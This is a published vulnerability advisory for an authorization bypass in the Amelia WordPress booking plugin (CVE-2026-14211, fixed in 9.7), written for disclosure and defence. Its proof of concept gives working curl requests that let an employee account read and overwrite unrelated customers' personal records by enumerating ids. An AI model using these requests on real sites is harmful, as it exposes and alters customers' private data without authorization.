- Product
- Booking for Appointments and Events Calendar (WordPress plugin)
- Versions
- 9.0 to before 9.7 · fixed in 9.7
- Severity
- LowCVSS score 3.8 · WPScan
- CVE
- CVE-2026-14211, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on August 10, 2026
Description
The Booking for Appointments and Events Calendar WordPress plugin before 9.7 does not verify that an authenticated employee (provider) is related to the customer whose record is being accessed, allowing any employee with an Employee Panel login to read and modify the stored personal data of any customer by enumerating sequential identifiers.
From the CVE record · CWE-639 Authorization Bypass Through User-Controlled Key
Proof of concept
As published by WPScan in its advisory on August 7, 2026.
Prerequisites: Amelia Pro with the Employee Panel enabled, which is the default; an Employee (provider) account with a panel login, created by the administrator under Amelia > Employees; and at least one existing customer record that has no booking relationship with that employee.
1) The employee authenticates to the Employee Panel to obtain their own provider cabinet token, also returned as the ameliaToken cookie:
curl -s -X POST 'https://victim.example/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/authenticate' \
-H 'Content-Type: application/json' \
--data '{"email":"[email protected]","password":"PASSWORD","cabinetType":"provider"}'
2) Read an unrelated customer's record by id, using that token:
curl -s 'https://victim.example/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/customers/2' \
-H 'Authorization: Bearer AMELIA_TOKEN'
3) Overwrite the same customer's record by id:
curl -s -X POST 'https://victim.example/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/customers/2&source=cabinet-provider' \
-H 'Authorization: Bearer AMELIA_TOKEN' -H 'Content-Type: application/json' \
--data '{"firstName":"X","lastName":"Y","phone":"+10000000000","type":"customer"}'
Expected: step 2 returns "Successfully retrieved user" with the customer's firstName, lastName, email, phone and private note; step 3 returns "Successfully updated user" and the stored customer record is overwritten. The employee reads and modifies the personal data of customers they have no relationship with, by enumerating sequential customer ids. Repeating either request without the Authorization header is correctly rejected.Severity
WPScan rates it 3.8 (low). CISA’s ADP scores it 3.8 (low) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:NCISA ADP
Remediation
Update Amelia Pro to 9.7 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.